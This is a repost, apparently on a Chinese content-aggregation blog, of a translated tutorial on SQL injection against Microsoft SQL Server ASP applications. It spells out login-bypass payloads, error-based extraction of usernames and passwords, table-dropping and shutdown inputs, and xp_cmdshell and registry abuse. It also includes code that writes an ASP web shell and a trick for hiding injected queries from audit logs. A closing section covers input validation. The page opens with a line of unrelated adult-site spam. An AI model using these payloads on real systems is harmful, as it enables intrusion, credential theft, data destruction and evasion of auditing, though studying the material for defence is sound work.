日韩av黄I国产麻豆传媒I国产91av视频在线观看I日韩一区二区三区在线看I美女国产在线I麻豆视频国产在线观看I成人黄色短片

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 >

SQL 注入

發(fā)布時間:2025/7/14 34 豆豆
生活随笔 收集整理的這篇文章主要介紹了 SQL 注入 小編覺得挺不錯的,現(xiàn)在分享給大家,幫大家做個參考.

介紹:

SQL是一種用于關(guān)系數(shù)據(jù)庫的結(jié)構(gòu)化查詢語言。它分為許多種,但大多數(shù)都松散地基于美國國家標準化組織最新的標準SQL-92。典型的執(zhí)行語句是query,它能夠收集比較有達標性的記錄并返回一個單一的結(jié)果集。SQL語言可以修改數(shù)據(jù)庫結(jié)構(gòu)(數(shù)據(jù)定義語言)和操作數(shù)據(jù)庫內(nèi)容(數(shù)據(jù)操作語言)。在這份文檔中,我們將特別討論SQLSERVER所使用的Transact-SQL語言。

當一個攻擊者能夠通過往query中插入一系列的sql語句來操作數(shù)據(jù)寫入到應(yīng)用程序中去,我們管這種方法定義成SQL注入。
一個典型的SQL語句如下: Selectid,forename,surnamefromauthors 這條語句將返回authors表中所有行的id,forename和surname列。這個結(jié)果可以被限制,例如: Selectid,forename,surnamefromauthorswhereforename'john'andsurname='smith' 需要著重指明的是字符串'john'和'smith'被單引號限制。明確的說,forename和surname字段是被用戶提供的輸入限制的,攻擊者可以通過輸入值來往這個查詢中注入一些SQL語句, 如下: Forename:jo'hn Surname:smith 查詢語句變?yōu)?#xff1a; Selectid,forename,surnamefromauthorswhereforename='jo'hn'andsurname='smith' 當數(shù)據(jù)庫試圖去執(zhí)行這個查詢時,它將返回如下錯誤: Server:Msg170,Level15,State1,Line1 Line1:Incorrectsyntaxnear'hn' 造成這種結(jié)果的原因是插入了.作為定界符的單引號。數(shù)據(jù)庫嘗試去執(zhí)行'hn',但是失敗。如果攻擊者提供特別的輸入如: Forename:jo';droptableauthors— Surname: 結(jié)果是authors表被刪除,造成這種結(jié)果的原因我們稍后再講。
看上去好象通過從輸入中去掉單引號或者通過某些方法避免它們都可以解決這個問題。這是可行的,但是用這種方法做解決方法會存在幾個困難。第一,并不是所有用戶提供的數(shù)據(jù)都是字符串。如果用戶輸入的是通過用戶id來查詢author,那我們的查詢應(yīng)該像這樣: Selectid,forename,surnamefromauthorswhereid=1234 在這種情況下,一個攻擊者可以非常簡單地在數(shù)字的結(jié)尾添加SQL語句,在其他版本的SQL語言中,使用各種各樣的限定符號;在數(shù)據(jù)庫管理系統(tǒng)JET引擎中,數(shù)據(jù)可以被使用'#'限定。第二,避免單引號盡管看上去可以,但是是沒必要的,原因我們稍后再講。
我們更進一步地使用一個簡單的ASP登陸頁面來指出哪些能進入SQLSERVER數(shù)據(jù)庫并且嘗試鑒別進入一些虛構(gòu)的應(yīng)用程序的權(quán)限。 這是一個提交表單頁的代碼,讓用戶輸入用戶名和密碼:

<HTML> <HEAD> <TITLE>LoginPage</TITLE> </HEAD>
<BODYbgcolor='000000'text='cccccc'> <FONTFace='tahoma'color='cccccc'> <CENTER><H1>Login</H1> <FORMaction='process_loginasp'method=post> <TABLE> <TR><TD>Username:</TD><TD><INPUTtype=textname=usernamesize=100width=100></TD></TR> <TR><TD>Password:</TD><TD><INPUTtype=passwordname=passwordsize=100withd=100></TD></TR> </TABLE> <INPUTtype=submitvalue='Submit'><INPUTtype=resetvalue='Reset'> </FORM> </Font> </BODY> </HTML> 下面是process_login.asp的代碼,它是用來控制登陸的: <HTML> <BODYbgcolor='000000'text='ffffff'> <FONTFace='tahoma'color='ffffff'> <STYLE> p{font-size=20pt!important} font{font-size=20pt!important} h1{font-size=64pt!important} </STYLE> <%@LANGUAGE=JScript%> <% functiontrace(str){ if(Request.form("debug")=="true") Response.write(str); } functionLogin(cn){ varusername; varpassword; username=Request.form("username"); password=Request.form("password"); varrso=Server.CreateObject("ADODB.Recordset"); varsql="select*fromuserswhereusername='"+username+"'andpassword='"+password+"'";trace("query:"+sql); rso.open(sql,cn); if(rso.EOF){ rso.close(); %> <FONTFace='tahoma'color='cc0000'> <H1><BR><BR> <CENTER>ACCESSDENIED</CENTER> </H1> </BODY> </HTML> <%Response.endreturn;} else{ Session("username")=""+rso("username"); %> <FONTFace='tahoma'color='00cc00'> <H1><CENTER>ACCESSGRANTED<BR><BR> Welcome,<%Response.write(rso("Username"));Response.write("</BODY></HTML>");Response.end} } functionMain(){//Setupconnection varusername varcn=Server.createobject("ADODB.Connection"); cn.connectiontimeout=20; cn.open("localserver","sa","password"); username=newString(Request.form("username")); if(username.length>0){ Login(cn); } cn.close(); } Main(); %>

?

?

#p#分頁標題#e#

出現(xiàn)問題的地方是process_lgin.asp中產(chǎn)生查詢語句的部分: Varsql="select*fromuserswhereusername='"+username+"'andpassword='"+password+"'"; 如果用戶輸入的信息如下: Username:';droptableusers— Password: 數(shù)據(jù)庫中表users將被刪除,拒絕任何用戶進入應(yīng)用程序。'—'符號在Transact-SQL中表示忽略'—'以后的語句,';'符號表示一個查詢的結(jié)束和另一個查詢的開始。'—'位于username字段中是必須的,它為了使這個特殊的查詢終止,并且不返回錯誤。
攻擊者可以只需提供他們知道的用戶名,就可以以任何用戶登陸,使用如下輸入: Username:admin'— 攻擊者可以使用users表中第一個用戶,輸入如下: Username:'or1=1— 更特別地,攻擊者可以使用完全虛構(gòu)的用戶登陸,輸入如下: Username:'unionselect1,'fictional_user','some_password',1— 這種結(jié)果的原因是應(yīng)用程序相信攻擊者指定的是從數(shù)據(jù)庫中返回結(jié)果的一部分。
通過錯誤消息獲得信息 這個幾乎是DavidLitchfield首先發(fā)現(xiàn)的,并且通過作者滲透測試的;后來David寫了一份文檔,后來作者參考了這份文檔。這些解釋討論了‘錯誤消息‘潛在的機制,使讀者能夠完全地了解它,潛在地引發(fā)他們的能力。
為了操作數(shù)據(jù)庫中的數(shù)據(jù),攻擊者必須確定某些數(shù)據(jù)庫和某些表的結(jié)構(gòu)。例如我們可以使用如下語句創(chuàng)建user表: Createtalbeusers( Idint, Usernamevarchar(255), Passwordvarchar(255), Privsint ) 然后將下面的用戶插入到users表中: Insertintousersvalues(0,'admin','r00tr0x!',0xffff) Insertintousersvalues(0,'guest','guest',0x0000) Insertintousersvalues(0,'chris','password',0x00ff) Insertintousersvalues(0,'fred','sesame',0x00ff) 如果我們的攻擊者想插入一個自己的用戶。在不知道users表結(jié)構(gòu)的情況下,他不可能成功。即使他比較幸運,至于privs字段不清楚。攻擊者可能插入一個'1',這樣只給他自己一個低權(quán)限的用戶。 幸運地,如果從應(yīng)用程序(默認為ASP行為)返回錯誤消息,那么攻擊者可以確定整個數(shù)據(jù)庫的結(jié)構(gòu),并且可以以程序中連接SQLSERVER的權(quán)限度曲任何值。 (下面以一個簡單的數(shù)據(jù)庫和asp腳本來舉例說明他們是怎么工作的) 首先,攻擊者想獲得建立用戶的表的名字和字段的名字,要做這些,攻擊者需要使用select語法的having子句: Username:'having1=1— 這樣將會出現(xiàn)如下錯誤: MicrosoftOLEDBProviderforODBCDriverserror'80040e14' [Microsoft][ODBCSQLServerDriver][SQLServer]Column'users.id'isinvalidintheselectlistbecauseitisnotcontainedinanaggregatefunctionandthereisnoGROUPBYclause. /process_login.asp,line35 因此現(xiàn)在攻擊者知道了表的名字和第一個地段的名字。他們?nèi)匀豢梢酝ㄟ^把字段放到groupby子句只能感去找到一個一個字段名,如下: Username:'groupbyusers.idhaving1=1— 出現(xiàn)的錯誤如下: MicrosoftOLEDBProviderforODBCDriverserror'80040e14' [Microsoft][ODBCSQLServerDriver][SQLServer]Column'users.username'isinvalidintheselectlistbecauseitisnotcontainedineitheranaggregatefunctionortheGROUPBYclause. /process_login.asp,line35 最終攻擊者得到了username字段后: ‘groupbyusers.id,users.username,users.password,users.privshaving1=1— 這句話并不產(chǎn)生錯誤,相當于: select*fromuserswhereusername='' 因此攻擊者現(xiàn)在知道查詢涉及users表,按順序使用列'id,username,password,privs'。 能夠確定每個列的類型是非常有用的。這可以通過使用類型轉(zhuǎn)化來實現(xiàn),例如: Username:'unionselectsum(username)fromusers— 這利用了SQLSERVER在確定兩個結(jié)果集的字段是否相等前應(yīng)用sum子句。嘗試去計算sum會得到以下消息: MicrosoftOLEDBProviderforODBCDriverserror'80040e07'
[Microsoft][ODBCSQLServerDriver][SQLServer]Thesumoraverageaggregateoperationcannottakeavarchardatatypeasanargument. /process_login.asp,line35

?

#p#分頁標題#e#
這告訴了我們'username'字段的類型是varchar。如果是另一種情況,我們嘗試去計算sum()的是數(shù)字類型,我們得到的錯誤消息告訴我們兩個集合的字段數(shù)量不相等。 Username:'unionselectsum(id)fromusers— MicrosoftOLEDBProviderforODBCDriverserror'80040e14'
[Microsoft][ODBCSQLServerDriver][SQLServer]AllqueriesinanSQLstatementcontainingaUNIONoperatormusthaveanequalnumberofexpressionsintheirtargetlists. /process_login.asp,line35 我們可以用這種技術(shù)近似地確定數(shù)據(jù)庫中任何表中的任何字段的類型。 這樣攻擊者就可以寫一個好的insert查詢,例如: Username:';insertintousersvalues(666,'attacker','foobar','0xffff)— 這種技術(shù)的潛在影響不僅僅是這些。攻擊者可以利用這些錯誤消息顯示環(huán)境信息或數(shù)據(jù)庫。通過運行一列一定格式的字符串可以獲得標準的錯誤消息: select*frommaster..sysmessages 解釋這些將實現(xiàn)有趣的消息。
一個特別有用的消息關(guān)系到類型轉(zhuǎn)化。如果你嘗試將一個字符串轉(zhuǎn)化成一個整型數(shù)字,那么字符串的所有內(nèi)容會返回到錯誤消息中。例如在我們簡單的登陸頁面中,在username后面會顯示出SQLSERVER的版本和所運行的操作系統(tǒng)信息: Username:'unionselectversion,1,1,1— MicrosoftOLEDBProviderforODBCDriverserror'80040e07'
[Microsoft][ODBCSQLServerDriver][SQLServer]Syntaxerrorconvertingthenvarcharvalue'MicrosoftSQLServer2000-8.00.194(IntelX86)Aug6200000:57:48Copyright(c)1988-2000MicrosoftCorporationEnterpriseEditiononWindowsNT5.0(Build2195:ServicePack2)'toacolumnofdatatypeint. /process_login.asp,line35 這句嘗試去將內(nèi)置的'version'常量轉(zhuǎn)化成一個整型數(shù)字,因為users表中的第一列是整型數(shù)字。
這種技術(shù)可以用來讀取數(shù)據(jù)庫中任何表的任何值。自從攻擊者對用戶名和用戶密碼比較感興趣后,他們比較喜歡去從users表中讀取用戶名,例如: Username:'unionselectmin(username),1,1,1fromuserswhereusername>'a'— 這句選擇users表中username大于'a'中的最小值,并試圖把它轉(zhuǎn)化成一個整型數(shù)字: MicrosoftOLEDBProviderforODBCDriverserror'80040e07'
[Microsoft][ODBCSQLServerDriver][SQLServer]Syntaxerrorconvertingthevarcharvalue'admin'toacolumnofdatatypeint. /process_login.asp,line35 因此攻擊者已經(jīng)知道用戶admin是存在的。這樣他就可以重復(fù)通過使用where子句和查詢到的用戶名去尋找下一個用戶。 Username:'unionselectmin(username),1,1,1fromuserswhereusername>'admin'— MicrosoftOLEDBProviderforODBCDriverserror'80040e07'
[Microsoft][ODBCSQLServerDriver][SQLServer]Syntaxerrorconvertingthevarcharvalue'chris'toacolumnofdatatypeint. /process_login.asp,line35 一旦攻擊者確定了用戶名,他就可以開始收集密碼: Username:'unionselectpassword,1,1,1fromuserswhereusername='admin'— MicrosoftOLEDBProviderforODBCDriverserror'80040e07'
[Microsoft][ODBCSQLServerDriver][SQLServer]Syntaxerrorconvertingthevarcharvalue'r00tr0x!'toacolumnofdatatypeint. /process_login.asp,line35
一個更高級的技術(shù)是將所有用戶名和密碼連接長一個單獨的字符串,然后嘗試把它轉(zhuǎn)化成整型數(shù)字。這個例子指出:Transavt-SQL語法能夠在不改變相同的行的意思的情況下把它們連接起來。下面的腳本將把值連接起來: begindeclare@retvarchar(8000) set@ret=':' select@ret=@ret+''+username+'/'+passwordfromuserswhere username>@ret select@retasretintofoo end 攻擊者使用這個當作用戶名登陸(都在一行) Username:'';begindeclare@retvarchar(8000)set@ret='':''select@ret=@ret+''''+username+''/''+passwordfromuserswhereusername>@retselect@retasretintofooend— 這就創(chuàng)建了一個foo表,里面只有一個單獨的列''ret'',里面存放著我們得到的用戶名和密碼的字符串。正常情況下,一個低權(quán)限的用戶能夠在同一個數(shù)據(jù)庫中創(chuàng)建表,或者創(chuàng)建臨時數(shù)據(jù)庫。 然后攻擊者就可以取得我們要得到的字符串: Username:''unionselectret,1,1,1fromfoo— MicrosoftOLEDBProviderforODBCDriverserror''80040e07''
[Microsoft][ODBCSQLServerDriver][SQLServer]Syntaxerrorconvertingthevarcharvalue'':admin/r00tr0x!guest/guestchris/passwordfred/sesame''toacolumnofdatatypeint. /process_login.asp,line35 然后丟棄(刪除)表來清楚腳印: Username:'';droptablefoo— 這個例子僅僅是這種技術(shù)的一個表面的作用。沒必要說,如果攻擊者能夠從數(shù)據(jù)庫中獲得足夠的錯誤西,他們的工作就變的無限簡單。
獲得更高的權(quán)限 一旦攻擊者控制了數(shù)據(jù)庫,他們就想利用那個權(quán)限去獲得網(wǎng)絡(luò)上更高的控制權(quán)。這可以通過許多途徑來達到: 1.在數(shù)據(jù)庫服務(wù)器上,以SQLSERVER權(quán)限利用xp_cmdshell擴展存儲過程執(zhí)行命令。 2.利用xp_regread擴展存儲過程去讀注冊表的鍵值,當然包括SAM鍵(前提是SQLSERVER是以系統(tǒng)權(quán)限運行的) 3.利用其他存儲過程去改變服務(wù)器 4.在連接的服務(wù)器上執(zhí)行查詢 5.創(chuàng)建客戶擴展存儲過程去在SQLSERVER進程中執(zhí)行溢出代碼 6.使用''bulkinsert''語法去讀服務(wù)器上的任意文件 7.使用bcp在服務(wù)器上建立任意的文本格式的文件 8.使用sp_OACreate,sp_OAMethod和sp_OAGetProperty系統(tǒng)存儲過程去創(chuàng)建ActiveX應(yīng)用程序,使它能做任何ASP腳本可以做的事情

?

#p#分頁標題#e#
這些只列舉了非常普通的可能攻擊方法的少量,攻擊者很可能使用其它方法。我們介紹收集到的攻擊關(guān)于SQL服務(wù)器的明顯攻擊方法,為了說明哪方面可能并被授予權(quán)限去注入SQL.。我們將依次處理以上提到的各種方法:
[xp_cmdshell] 許多存儲過程被創(chuàng)建在SQLSERVER中,執(zhí)行各種各樣的功能,例如發(fā)送電子郵件和與注冊表交互。 Xp_cmdshell是一個允許執(zhí)行任意的命令行命令的內(nèi)置的存儲過程。例如: Execmaster..xp_cmdshell''dir'' 將獲得SQLSERVER進程的當前工作目錄中的目錄列表。 Execmaster..xp_cmdshell''netuser'' 將提供服務(wù)器上所有用戶的列表。當SQLSERVER正常以系統(tǒng)帳戶或域帳戶運行時,攻擊者可以做出更嚴重的危害。
[xp_regread] 另一個有用的內(nèi)置存儲過程是xp_regXXXX類的函數(shù)集合。 Xp_regaddmultistring Xp_regdeletekey Xp_regdeletevalue Xp_regenumkeys Xp_regenumvalues Xp_regread Xp_regremovemultistring Xp_regwrite
這些函數(shù)的使用方法舉例如下: execxp_regreadHKEY_LOCAL_MACHINE,''SYSTEM\CurrentControlSet\Services\lanmanserver\parameters'',''nullsessionshares'' 這將確定什么樣的會話連接在服務(wù)器上是可以使用的
execxp_regenumvaluesHKEY_LOCAL_MACHINE,''SYSTEM\CurrentControlSet\Services\snmp\parameters\validcommunities'' 這將顯示服務(wù)器上所有SNMP團體配置。在SNMP團體很少被更改和在許多主機間共享的情況下,有了這些信息,攻擊者或許會重新配置同一網(wǎng)絡(luò)中的網(wǎng)絡(luò)設(shè)備。
這很容易想象到一個攻擊者可以利用這些函數(shù)讀取SAM,修改系統(tǒng)服務(wù)的配置,使它下次機器重啟時啟動,或在下次任何用戶登陸時執(zhí)行一條任意的命令。 [其他存儲過程] xp_servicecontrol過程允許用戶啟動,停止,暫停和繼續(xù)服務(wù): execmaster..xp_servicecontrol''start'',''schedule'' execmaster..xp_servicecontrol''start'',''server'' 下表中列出了少量的其他有用的存儲過程: Xp_availablemedia顯示機器上有用的驅(qū)動器 Xp_dirtree允許獲得一個目錄樹 Xp_enumdsn列舉服務(wù)器上的ODBC數(shù)據(jù)源 Xp_loginconfigRevealsinformationaboutthesecuritymodeoftheserver Xp_makecab允許用戶在服務(wù)器上創(chuàng)建一個壓縮文件 Xp_ntsec_enumdomains列舉服務(wù)器可以進入的域 Xp_terminate_process提供進程的進程ID,終止此進程
[LinkedServers] SQLSERVER提供了一種允許服務(wù)器連接的機制,也就是說允許一臺數(shù)據(jù)庫服務(wù)器上的查詢能夠操作另一臺服務(wù)器上的數(shù)據(jù)。這個鏈接存放在master.sysservers表中。如果一個連接的服務(wù)器已經(jīng)被設(shè)置成使用''sp_addlinkedsrvlogin''過程,當前可信的連接不用登陸就可以訪問到服務(wù)器。''openquery''函數(shù)允許查詢脫離服務(wù)器也可以執(zhí)行。
[Customextendedstoredprocedures] 擴展存儲過程應(yīng)用程序接口是相當簡單的,創(chuàng)建一個攜帶惡意代碼的擴展存儲過程動態(tài)連接庫是一個相當簡單的任務(wù)。使用命令行有幾個方法可以上傳動態(tài)連接庫到SQL服務(wù)器上,還有其它包括了多種自動通訊的通訊機制,比如HTTP下載和FTP腳本。 一旦動態(tài)連接庫文件在機器上運行即SQL服務(wù)器能夠被訪問——這不需要它自己是SQL服務(wù)器——攻擊者就能夠使用下面的命令添加擴展存儲過程(這種情況下,我們的惡意存儲過程就是一個能輸出服務(wù)器的系統(tǒng)文件的小的木馬):
Sp_addextendedproc''xp_webserver'',''c:\temp\xp_foo.dll'' 在正常的方式下,這個擴展存儲過程可以被運行: execxp_webserver 一旦這個程序被運行,可以使用下面的方法將它除去: xp_dropextendedproc''xp_webserver''
[將文本文件導(dǎo)入表] 使用''bulkinsert''語法可以將一個文本文件插入到一個臨時表中。簡單地創(chuàng)建這個表: createtablefoo(linevarchar(8000)) 然后執(zhí)行bulkinsert操作把文件中的數(shù)據(jù)插入到表中,如: bulkinsertfoofrom''c:\inetpub\wwwroot\process_login.asp''
可以使用上述的錯誤消息技術(shù),或者使用''union''選擇,使文本文件中的數(shù)據(jù)與應(yīng)用程序正常返回的數(shù)據(jù)結(jié)合,將數(shù)據(jù)取回。這個用來獲取存放在數(shù)據(jù)庫服務(wù)器上的腳本源代碼或者ASP腳本代碼是非常有用的。
[使用bcp建立文本文件] 使用''bulkinsert''的相對技術(shù)可以很容易建立任意的文本文件。不幸的是這需要命令行工具。''bcp'',即''bulkcopyprogram'' 既然bcp可以從SQL服務(wù)進程外訪問數(shù)據(jù)庫,它需要登陸。這代表獲得權(quán)限不是很困難,既然攻擊者能建立,或者利用整體安全機制(如果服務(wù)器配置成可以使用它)。
命令行格式如下: bcp"select*fromtext..foo"queryoutc:\inetpub\wwwroot\runcommand.asp–c-Slocalhost–Usa–Pfoobar ''S''參數(shù)為執(zhí)行查詢的服務(wù)器,''U''參數(shù)為用戶名,''P''參數(shù)為密碼,這里為''foobar''
[ActiveXautomationscriptsinSQLSERVER] SQLSERVER中提供了幾個內(nèi)置的允許創(chuàng)建ActiveX自動執(zhí)行腳本的存儲過程。這些腳本和運行在windows腳本解釋器下的腳本,或者ASP腳本程序一樣——他們使用VBScript或JavaScript書寫,他們創(chuàng)建自動執(zhí)行對象并和它們交互。一個自動執(zhí)行腳本使用這種方法書寫可以在Transact-SQL中做任何在ASP腳本中,或者WSH腳本中可以做的任何事情。為了闡明這鞋,這里提供了幾個例子:
(1)這個例子使用''wscript.shell''對象建立了一個記事本的實例: wscript.shellexample declare@oint execsp_oacreate''wscript.shell'',@oout execsp_oamethod@o,''run'',NULL,''notepad.exe'' 我們可以通過指定在用戶名后面來執(zhí)行它: Username:'';declare@ointexecsp_oacreate''wscript.shell'',@ooutexecsp_oamethod@o,''run'',NULL,''notepad.exe''—
(2)這個例子使用''scripting.filesystemobject''對象讀一個已知的文本文件: --scripting.filesystemobjectexample–readaknownfile declare@oint,@fint,@tint,@retint declare@linevarchar(8000) execsp_oacreate''scripting.filesystemobject'',@oout execsp_oamethod@o,''opentextfile'',@fout,''c:\boot.ini'',1 exec@ret=sp_oamethod@f,''readline'',@lineout while(@ret=0) begin print@line exec@ret=sp_oamethod@f,''readline'',@lineout end
(3)這個例子創(chuàng)建了一個能執(zhí)行通過提交到的任何命令: --scripting.filesystemobjectexample–createa''runthis''.aspfile declare@oint,@fint,@tint,@retint execsp_oacreate''scripting.filesystemobject'',@oout execsp_oamethod@o,''createtextfile'',@fout,''c:\inetpub\wwwroot\foo.asp'',1 exec@ret=sp_oamethod@f,''writeline'',NULL,''<%seto=server.createobject("wscript.shell"):o.run(request.querystring("cmd"))%>'' 需要指出的是如果運行的環(huán)境是WINNT4+IIS4平臺上,那么通過這個程序運行的命令是以系統(tǒng)權(quán)限運行的。在IIS5中,它以一個比較低的權(quán)限IWAM_XXXaccount運行。

?

#p#分頁標題#e#
(4)這些例子闡述了這個技術(shù)的適用性;它可以使用''speech.voicetext''對象引起SQLSERVER發(fā)聲: declare@oint,@retint execsp_oacreate''speech.voicetext'',@oout execsp_oamethod@o,''register'',NULL,''foo'',''bar'' execsp_oasetproperty@o,''speed'',150 execsp_oamethod@o,''speak'',NULL,''allyoursequelserversarebelongto,us'',528 waitfordelay''00:00:05'' 我們可以在我們假定的例子中,通過指定在用戶名后面來執(zhí)行它(注意這個例子不僅僅是注入一個腳本,同時以admin權(quán)限登陸到應(yīng)用程序): Username:admin'';declare@oint,@retintexecsp_oacreate''speech.voicetext'',@ooutexecsp_oamethod@o,''register'',NULL,''foo'',''bar''execsp_oasetproperty@o,''speed'',150execsp_oamethod@o,''speak'',NULL,''allyoursequelserversarebelongtous'',528waitfordelay''00:00:05''--
[存儲過程] 傳說如果一個ASP應(yīng)用程序在數(shù)據(jù)庫中使用了存儲過程,那么SQL注入是不可能的。這句話只對了一半,這要看ASP腳本中調(diào)用這個存儲過程的方式。 本質(zhì)上,如果一個有參數(shù)的查詢被執(zhí)行,并且用戶提供的參數(shù)通過安全檢查才放入到查詢中,那么SQL注入明顯是不可能發(fā)生的。但是如果攻擊者努力影響所執(zhí)行查詢語句的非數(shù)據(jù)部分,這樣他們就可能能夠控制數(shù)據(jù)庫。 比較好的常規(guī)的標準是: ?如果一個ASP腳本能夠產(chǎn)生一個被提交的SQL查詢字符串,即使它使用了存儲過程也是能夠引起SQL注入的弱點。 ?如果一個ASP腳本使用一個過程對象限制參數(shù)的往存儲過程中分配(例如ADO的用于參數(shù)收集的command對象),那么通過這個對象的執(zhí)行,它一般是安全的。 明顯地,既然新的攻擊技術(shù)始終地被發(fā)現(xiàn),好的慣例仍然是驗證用戶所有的輸入。
為了闡明存儲過程的查詢注入,執(zhí)行以下語句: sp_who''1''select*fromsysobjects or sp_who''1'';select*fromsysobjects 任何一種方法,在存儲過程后,追加的查詢依然會執(zhí)行。
[高級SQL注入] 通常情況下,一個web應(yīng)用程序?qū)^濾單引號(或其他符號),或者限定用戶提交的數(shù)據(jù)的長度。 在這部分,我們討論一些能幫助攻擊者饒過那些明顯防范SQL注入,躲避被記錄的技術(shù)。
[沒有單引號的字符串] 有時候開發(fā)人員會通過過濾所有的單引號來保護應(yīng)用程序,他們可能使用VBScript中的replace函數(shù)或類似: functionescape(input) input=replace(input,"''","''''") escape=input endfunction 無可否認地這防止了我們所有例子的攻擊,再除去'';''符號也可以幫很多忙。但是在一個大型的應(yīng)用程序中,好象個別值期望用戶輸入的是數(shù)字。這些值沒有被限定,因此為攻擊者提供了一個SQL注入的弱點。 如果攻擊者想不使用單引號產(chǎn)生一個字符串值,他可以使用char函數(shù),例如: insertintousersvalues(666, char(0x63)+char(0x68)+char(0x72)+char90x69)+char(0x73),char(0x63)+char(0x68)+char(0x72)+char90x69)+char(0x73), 0xffff) 這就是一個能夠往表中插入字符串的不包含單引號的查詢。 淡然,如果攻擊者不介意使用一個數(shù)字用戶名和密碼,下面的語句也同樣會起作用: insertintousersvalues(667, 123, 123, oxffff) SQLSERVER自動地將整型轉(zhuǎn)化為varchar型的值。
[Second-OrderSQLInjection] 即使應(yīng)用程序總是過濾單引號,攻擊者依然能夠注入SQL同樣通過應(yīng)用程序使數(shù)據(jù)庫中的數(shù)據(jù)重復(fù)使用。 例如,攻擊者可能利用下面的信息在應(yīng)用程序中注冊: Username:admin''— Password:password 應(yīng)用程序正確過濾了單引號,返回了一個類似這樣的insert語句: insertintousersvalues(123,''admin''''—'',''password'',0xffff) 我們假設(shè)應(yīng)用程序允許用戶修改自己的密碼。這個ASP腳本程序首先保證用戶設(shè)置新密碼前擁有正確的舊密碼。代碼如下: username=escape(Request.form("username")); oldpassword=escape(Request.form("oldpassword")); newpassword=escape(Request.form("newpassword")); varrso=Server.CreateObject("ADODB.Recordset"); varsql="select*fromuserswhereusername=''"+username+"''andpassword=''"+oldpassword+"''"; rso.open(sql,cn); if(rso.EOF) { … 設(shè)置新密碼的代碼如下: sql="updateuserssetpassword=''"+newpassword+"''whereusername=''"+rso("username")+"''" rso("username")為登陸查詢中返回的用戶名 當username為admin''—時,查詢語句為: updateuserssetpassword=''password''whereusername=''admin''—'' 這樣攻擊者可以通過注冊一個admin''—的用戶來根據(jù)自己的想法來設(shè)置admin的密碼。 這是一個非常嚴重的問題,目前在大型的應(yīng)用程序中試圖去過濾數(shù)據(jù)。最好的解決方法是拒絕非法輸入,這勝于簡單地努力去修改它。這有時會導(dǎo)致一個問題,非法的字符在那里是必要的,例如在用戶名中包含''符號,例如 O''Brien 從一個安全的觀點來看,最好的解答是但引號不允許存在是一個簡單的事實。如果這是無法接受的話,他們?nèi)匀灰贿^濾;在這種情況下,保證所有進入SQL查詢的數(shù)據(jù)都是正確的是最好的方法。 如果攻擊者不使用任何應(yīng)用程序莫名其妙地往系統(tǒng)中插入數(shù)據(jù),這種方式的攻擊也是可能的。應(yīng)用程序可能有email接口,或者可能在數(shù)據(jù)庫中可以存儲錯誤日志,這樣攻擊者可以努力控制它。驗證所有數(shù)據(jù),包括數(shù)據(jù)庫中已經(jīng)存在的數(shù)據(jù)始終是個好的方法。確認函數(shù)將被簡單地調(diào)用,例如: if(notisValid("email",request.querystring("email")))then response.end 或者類似的方法。
[長度限制] 為了給攻擊者更多的困難,有時輸入數(shù)據(jù)的長度是被限制的。當這個阻礙了攻擊時,一個小的SQL可以造成很嚴重的危害。例如: Username:'';shutdown— 這樣只用12個輸入字符就將停止SQLSERVER實例。另一個例子是: droptable<tablename> 如果限定長度是在過濾字符串后應(yīng)用將會引發(fā)另一個問題。假設(shè)用戶名被限定16個字符,密碼也被限定16個字符,那么下面的用戶名和密碼結(jié)合將會執(zhí)行上面提到的shutdown命令: Username:aaaaaaaaaaaaaaa'' Password:'';shutdown— 原因是應(yīng)用程序嘗試去過濾用戶名最后的單引號,但是字符串被切斷成16個字符,刪除了過濾后的一個單引號。這樣的結(jié)果就是如果密碼字段以單引號開始,它可以包含一些SQL語句。既然這樣查詢看上去是: select*fromuserswhereusername=''aaaaaaaaaaaaaaa''''andpassword='''''';shutdown— 實際上,查詢中的用戶名已經(jīng)變?yōu)?#xff1a; aaaaaaaaaaaaaaa''andpassword='' 因此最后的SQL語句會被執(zhí)行。
[審計] SQLSERVER包含了豐富的允許記錄數(shù)據(jù)庫中的各種事件的審計接口,它包含在sp_traceXXX類的函數(shù)中。特別有意思的是能夠記錄所有SQL語句,然后在服務(wù)器上執(zhí)行的T-SQL的事件。如果這種審計是被激活的,我們討論的所有注入的SQL查詢都將被記錄在數(shù)據(jù)庫中,一個熟練的數(shù)據(jù)庫管理員將能夠知道發(fā)生了什么事。不幸地,如果攻擊者追加以下字符串: Sp_password 到一個Transact-SQL語句中,這個審計機制記錄日志如下: --''sp_password''wasfoundinthetextofthisevent. --Thetexthasbeenreplacedwiththiscommentforsecurityreasons. 這種行為發(fā)生在所有的T-SQL日記記錄中,即使''sp_password''發(fā)生在一個注釋中。這個過程打算通過sp_password隱藏用戶的密碼,但這對于一個攻擊者來說是非常有用的方法。 因此,為了隱藏所有注入,攻擊者需要簡單地在''—''注釋字符后追加sp_password,例如: Username:admin''—sp_password 事實上一些被執(zhí)行的SQL將被記錄,但是查詢本身將順利地從日志中消失。
[防范] 這部分討論針對記述的攻擊的一些防范。我們將討論輸入確認和提供一些簡單的代碼,然后我們將從事SQLSERVER鎖定。
[輸入驗證] 輸入驗證是一個復(fù)雜的題目。比較有代表性的是,自從過于嚴密地確認傾向于引起部分應(yīng)用程序的暫停,輸入確認問題很難被解決,在項目開發(fā)中投入很少的注意力在輸入確認上。輸入確認不是傾向于將它加入到應(yīng)用程序的功能當中,因此它一般會被忽視。 下面是一個含有簡單代碼的討論輸入確認的大綱。這個簡單的代碼不能直接用于應(yīng)用程序中,但是它十分清晰地闡明了不同的策略。 不同的數(shù)據(jù)確認方法可以按以下分類: 1)努力修改數(shù)據(jù)使它成為正確的 2)拒絕被認為是錯誤的輸入 3)只接收被認為是正確的輸入 第一種情況有一些概念上的問題;首先,開發(fā)人員沒必要知道那些是錯誤數(shù)據(jù),因為新的錯誤數(shù)據(jù)的形式始終被發(fā)現(xiàn)。其次,修改數(shù)據(jù)會引起上面描述過的數(shù)據(jù)的長度問題。最后,二次使用的問題包括系統(tǒng)中已經(jīng)存在數(shù)據(jù)的重新使用。 第二種情況也存在第一種情況中的問題;已知的錯誤輸入隨著攻擊技術(shù)的發(fā)展變化。 第三種情況可能是三種中最好的,但是很難實現(xiàn)。 從安全角度看合并第二種方法和第三種方法可能是最好的方法——只允許正確的輸入,然后搜索輸入中已知的錯誤數(shù)據(jù)。 帶有連接符號的姓名的問題對于體現(xiàn)合并兩種方法的必要性是一個好的例子: QuentinBassington-Bassington 我們必須在正確輸入中允許連接符號,但是我們也意識到字符序列''—''對SQLSERVER很重要。 